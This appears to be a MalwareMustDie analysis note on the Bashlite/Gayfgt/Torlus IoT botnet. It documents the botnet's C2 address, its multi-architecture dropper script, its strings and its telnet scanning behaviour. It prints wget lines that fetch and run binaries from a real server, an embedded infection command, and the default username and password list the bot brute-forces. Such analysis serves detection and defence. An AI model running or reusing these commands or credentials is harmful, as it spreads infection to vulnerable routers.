TORLUS.C / LIZKEBAB / GAYFGT /BASHDOOR

#############################################
##
##  THIS IS THE EXPLANATION OF HOW
##  LIZKEBAB / TORLUS
##  AKA: GAYFGT / BASHDOOR / BASHLITE
##  WORKS, IN THE RECENT UP & ALIVE VERSION
##
##  noted by @unixfreaxjp / #MalwareMustDie
##
############################################

// cnc location...
{ "ip": "208.67.1.142",
  "hostname": "No Hostname",
  "city": "Kansas City",
  "region": "Missouri",
  "country": "US",
  "loc": "39.1472,-94.5735",
  "org": "AS33387 DataShack, LC",
  "postal": "64116" }


// weaponized:
208.67.1.142/hack/Binarys.sh (install)
208.67.1.142/qbot/Binarys.sh (updates)

// These are the ELF binaries... see how was prepared multi architecture..

$ cat Binarys.sh
cd /tmp && wget -q http://208.67.1.142/hack/telmipsel && chmod +x telmipsel && ./telmipsel
cd /tmp && wget -q http://208.67.1.142/hack/telmips && chmod +x telmips && ./telmips
cd /tmp && wget -q http://208.67.1.142/hack/telsh4 && chmod +x telsh4 && ./telsh4
cd /tmp && wget -q http://208.67.1.142/hack/telx86 && chmod +x telx86 && ./telx86
cd /tmp && wget -q http://208.67.1.142/hack/telarmv6 && chmod +x telarmv6 && ./telarmv6
cd /tmp && wget -q http://208.67.1.142/hack/teli686 && chmod +x teli686 && ./teli686
cd /tmp && wget -q http://208.67.1.142/hack/telpowerpc && chmod +x telpowerpc && ./telpowerpc
cd /tmp && wget -q http://208.67.1.142/hack/teli586 && chmod +x teli586 && ./teli586
cd /tmp && wget -q http://208.67.1.142/hack/telm86k && chmod +x telm86k && ./telm86k
cd /tmp && wget -q http://208.67.1.142/hack/telsparc && chmod +x telsparc && ./telsparc
cd /tmp && wget -q http://208.67.1.142/hack/telarmv5l && chmod +x telarmv5l && ./telarmv5l
cd /tmp && wget -q http://208.67.1.142/hack/telarmv4l && chmod +x telarmv4l && ./telarmv4l
rm -rf tel*
cd /tmp && busybox wget -q http://208.67.1.142/hack/telmipsel && chmod +x telmipsel && ./telmipsel
cd /tmp && busybox wget -q http://208.67.1.142/hack/telmips && chmod +x telmips && ./telmips
cd /tmp && busybox wget -q http://208.67.1.142/hack/telsh4 && chmod +x telsh4 && ./telsh4
cd /tmp && busybox wget -q http://208.67.1.142/hack/telx86 && chmod +x telx86 && ./telx86
cd /tmp && busybox wget -q http://208.67.1.142/hack/telarmv6 && chmod +x telarmv6 && ./telarmv6
cd /tmp && busybox wget -q http://208.67.1.142/hack/teli686 && chmod +x teli686 && ./teli686
cd /tmp && busybox wget -q http://208.67.1.142/hack/telpowerpc && chmod +x telpowerpc && ./telpowerpc
cd /tmp && busybox wget -q http://208.67.1.142/hack/teli586 && chmod +x teli586 && ./teli586
cd /tmp && busybox wget -q http://208.67.1.142/hack/telm86k && chmod +x telm86k && ./telm86k
cd /tmp && busybox wget -q http://208.67.1.142/hack/telsparc && chmod +x telsparc && ./telsparc
cd /tmp && busybox wget -q http://208.67.1.142/hack/telarmv5l && chmod +x telarmv5l && ./telarmv5l
cd /tmp && busybox wget -q http://208.67.1.142/hack/telarmv4l && chmod +x telarmv4l && ./telarmv4l

// downloaaaaaaad!

HTTP/1.1 200 OK
Date: Wed, 17 Feb 2016 15:25:25 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Fri, 29 Jan 2016 02:33:39 GMT
ETag: "4371a-30d77-52a6fdcee7bf6"
Accept-Ranges: bytes
Content-Length: 200055
Connection: close
Content-Type: text/plain; charset=UTF-8
200 OK
URI content encoding = 'UTF-8'
Length: 200055 (195K) [text/plain]
Saving to: 'telx86'
telx86  100%[==========>] 195.37K  25.3KB/sin 8.6s
2016-02-18 00:25:34 (22.6 KB/s) - 'telx86' saved [200055/200055]


#############################################
##
##  THIS IS HOW IT WORKS
##  EXPLAINED IN SIMPLEST WAY
##
############################################

//// it loads these data...

// cnc

.rodata:0805D2A0 00000012 C 149.91.89.253:443

// root

.rodata:0805D2B2 00000005 C root

// user

.rodata:0805D2B8 00000006 C admin
.rodata:0805D2BF 00000005 C user
.rodata:0805D2C5 00000006 C login
.rodata:0805D2CC 00000006 C guest
.rodata:0805D2D3 00000008 C support
.rodata:0805D2DC 00000005 C toor

// password...

.rodata:0805D2E2 00000009 C changeme
.rodata:0805D2EC 00000005 C 1234
.rodata:0805D2F2 00000006 C 12345
.rodata:0805D2F9 00000007 C 123456
.rodata:0805D301 00000008 C default
.rodata:0805D30A 00000005 C pass
.rodata:0805D310 00000009 C password

// shell to be executed upon telnet scan succeeded (download..install)

.rodata:0805D795 00000005 C sh\r\n
.rodata:0805D79A 00000008 C shell\r\n
.rodata:0805D7A4 00000074 C wget http://208.67.1.142/qbot/Binarys.sh -O /tmp/bash.sh;chmod +x /tmp/bash.sh ; sh /tmp/bash.sh; rm /tmp/bash.sh\r\n
.rodata:0805D818 00000020 C /bin/busybox;echo -e 'gayfgt'\r\n
.rodata:0805D842 00000010 C REPORT %s:%s:%s
.rodata:0805D852 00000007 C gayfgt

///// now... cnc back connects..

21008 connect(3, {AF_INET, 443, 149.91.89.253);

[cpuset] 20873 mmd  cwd    DIR      8,1     4096       2 /
[cpuset] 20873 mmd  rtd    DIR      8,1     4096       2 /
[cpuset] 20873 mmd  txt    REG      8,6   161632 7209159 /SAMPLE
[cpuset] 20873 mmd    0u   CHR    136,2 0t0  5 /dev/pts/2
[cpuset] 20873 mmd    1u   CHR    136,2 0t0  5 /dev/pts/2
[cpuset] 20873 mmd    2u   CHR    136,2 0t0  5 /dev/pts/2
[cpuset] 20873 mmd    3u  IPv4 23161746 0t0TCP MMD.ORG:59869->149.91.89.253:443 (ESTABLISHED)

////// received: telnet attack switch on...

recv(3, "!",  1, 0)
recv(3, "*",  1, 0)
recv(3, " ",  1, 0)
recv(3, "S",  1, 0)
recv(3, "C",  1, 0)
recv(3, "A",  1, 0)
recv(3, "N",  1, 0)
recv(3, "N",  1, 0)
recv(3, "E",  1, 0)
recv(3, "R",  1, 0)
recv(3, " ",  1, 0)
recv(3, "O",  1, 0)
recv(3, "N",  1, 0)
recv(3, "\n", 1, 0)

///// forking for the telnet attack session

fork()
write(1, "FORK\n", 5);

/////// fork done and faaaaiyyaaaaaaaa----!

[cpuset] 20874 mmd  cwd    DIR      8,1     4096        2 /
[cpuset] 20874 mmd  rtd    DIR      8,1     4096        2 /
[cpuset] 20874 mmd  txt    REG      8,6   161632  7209159 /SAMPLE
[cpuset] 20874 mmd    0u   CHR    136,2 0t0   5 /dev/pts/2
[cpuset] 20874 mmd    1u   CHR    136,2 0t0   5 /dev/pts/2
[cpuset] 20874 mmd    2u   CHR    136,2 0t0   5 /dev/pts/2
[cpuset] 20874 mmd    3u  IPv4 23161746 0t0 TCP MMD.ORG:59869->149.91.89.253:443 (ESTABLISHED)
[cpuset] 20874 mmd    4u  IPv4 23161774 0t0 TCP MMD.ORG:57971->11.159.98.247:23 (SYN_SENT)
[cpuset] 20874 mmd    5u  IPv4 23161775 0t0 TCP MMD.ORG:56070->11.159.98.248:23 (SYN_SENT)
[cpuset] 20874 mmd    6u  IPv4 23166590 0t0 TCP MMD.ORG:55366->11.159.98.249:23 (SYN_SENT)
[cpuset] 20874 mmd    7u  IPv4 23166591 0t0 TCP MMD.ORG:54561->11.159.98.250:23 (SYN_SENT)
[cpuset] 20874 mmd    8u  IPv4 23167725 0t0 TCP MMD.ORG:39495->11.159.98.251:23 (SYN_SENT)
[cpuset] 20874 mmd    9u  IPv4 23167726 0t0 TCP MMD.ORG:38934->11.159.98.252:23 (SYN_SENT)
[cpuset] 20874 mmd   10u  IPv4 23167727 0t0 TCP MMD.ORG:33664->11.159.98.253:23 (SYN_SENT)
[cpuset] 20874 mmd   11u  IPv4 23167728 0t0 TCP MMD.ORG:49161->11.159.98.254:23 (SYN_SENT)
[cpuset] 20874 mmd   12u  IPv4 23165034 0t0 TCP MMD.ORG:51762->11.159.98.255:23 (SYN_SENT)
// PoC picture: https://pbs.twimg.com/media/Cbb4Nj4UAAAtn-9.jpg

// scanning target:
11.159.98.x ; 174.96.64.x ; 207.193.179.x ; 136.102.45.x ;
These are mostly dial up network in USA...they aimed routers with telnet service with def. credential..

// other strings in the ELF binary shows obvious known operations:

.rodata:0805D31A (null)
.rodata:0805D321 buf: %s\n
.rodata:0805D32A -c
.rodata:0805D32D sh
.rodata:0805D330 /bin/sh
.rodata:0805D740 /proc/cpuinfo
.rodata:0805D74E BOGOMIPS
.rodata:0805D757 PING
.rodata:0805D75C :>%$#
.rodata:0805D763 %d.%d.%d.%d
.rodata:0805D76F %d.%d.%d.0
.rodata:0805D77A login:
.rodata:0805D780 \r\n
.rodata:0805D783 password:
.rodata:0805D78C incorrect
.rodata:0805D838 multi-call
.rodata:0805D88C Failed opening raw socket.
.rodata:0805D8A8 Failed setting raw headers mode.
.rodata:0805D8C9 all
.rodata:0805D8CF syn
.rodata:0805D8D3 rst
.rodata:0805D8D7 fin
.rodata:0805D8DB ack
.rodata:0805D8DF psh
.rodata:0805D8E3 Invalid flag
.rodata:0805D8F5 PONG!
.rodata:0805D8FB GETLOCALIP
.rodata:0805D906 My IP: %s
.rodata:0805D910 SCANNER
.rodata:0805D918 SCANNER ON | OFF
.rodata:0805D929 OFF
.rodata:0805D92D ON
.rodata:0805D930 FORK
.rodata:0805D935 HOLD
.rodata:0805D93A JUNK
.rodata:0805D93F UDP
.rodata:0805D943 TCP
.rodata:0805D947 KILLATTK
.rodata:0805D950 Killed %d.
.rodata:0805D95B None Killed.
.rodata:0805D968 LOLNOGTFO
.rodata:0805D972 8.8.8.8
.rodata:0805D97A /proc/net/route
.rodata:0805D98A \t00000000\t
.rodata:0805D995 [cpuset]
.rodata:0805D99E fork failed\n
.rodata:0805D9AD FAILED TO CONNECT
.rodata:0805D9BF PONG
.rodata:0805D9C4 DUP
.rodata:0805D9C8 SH
.rodata:0805D9CB %s 2>&1
.rodata:0805D9D7 LINK CLOSED
.rodata:0805DA18 0.9.30
.rodata:0805E088 -c
.rodata:0805E08B /bin/sh
.rodata:0805E2EC /dev/null
.rodata:0805E334 clntudp_create: out of memory\n
.rodata:0805E3A0 bad auth_len gid %d str %d auth %d\n
.rodata:0805E3C4 xdr_string: out of memory\n
.rodata:0805E3DF xdr_bytes: out of memory\n
.rodata:0805E428 (nil)
.rodata:0805E42E (null)
.rodata:0805E485 npxXoudifFeEgGaACScs
.rodata:0805F050 __get_myaddress: socket
.rodata:0805F068 __get_myaddress: ioctl (get interface configuration)
.rodata:0805F09D __get_myaddress: ioctl
.rodata:0805F0B4 Cannot register service
.rodata:0805F0DC xdr_array: out of memory\n
.rodata:0805F0F8 /etc/resolv.conf
.rodata:0805F109 /etc/config/resolv.conf
.rodata:0805F121 nameserver
.rodata:0805F12C domain
.rodata:0805F133 search
.rodata:0805F13A %s%s%m\n
.rodata:0805F21C RPC: (unknown error code)
.rodata:0805F236 %s:
.rodata:0805F23B  -
.rodata:0805F23F ; errno = %s
.rodata:0805F24C ; low version = %lu, high version = %lu
.rodata:0805F274 ; why =
.rodata:0805F27D (unknown authentication error - %d)
.rodata:0805F2A1 ; s1 = %lu, s2 = %lu
.rodata:0805F694 %x
.rodata:0805F697 0123456789abcdef
.rodata:0805F6A8 /etc/hosts
.rodata:0805F6B3 /etc/config/hosts

---
#MalwareMustDie